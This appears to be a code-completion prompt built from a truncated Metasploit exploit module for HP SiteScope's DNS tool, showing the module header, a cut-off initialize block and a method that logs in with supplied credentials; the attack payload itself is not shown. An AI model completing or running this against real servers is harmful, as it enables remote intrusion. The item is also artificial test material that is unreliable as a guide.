You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: hp_sitescope_dns_tool.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'         
    
  def authenticate(session_id)
    print_status("Authenticating on HP SiteScope Configuration...")
    res = send_request_cgi(
      {
        'uri'       => normalize_uri(target_uri.path.to_s, 'j_security_check'),
        'method'    => 'POST',
        'cookie'    => session_id,
        'vars_post' => {
          'j_username' => datastore['SITE_SCOPE_USER'],
          'j_password' => datastore['SITE_SCOPE_PASSWORD']
        }
      })

    if res && res.code == 302
      redirect =  URI(res.headers['Location']).path
    else
      fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
    end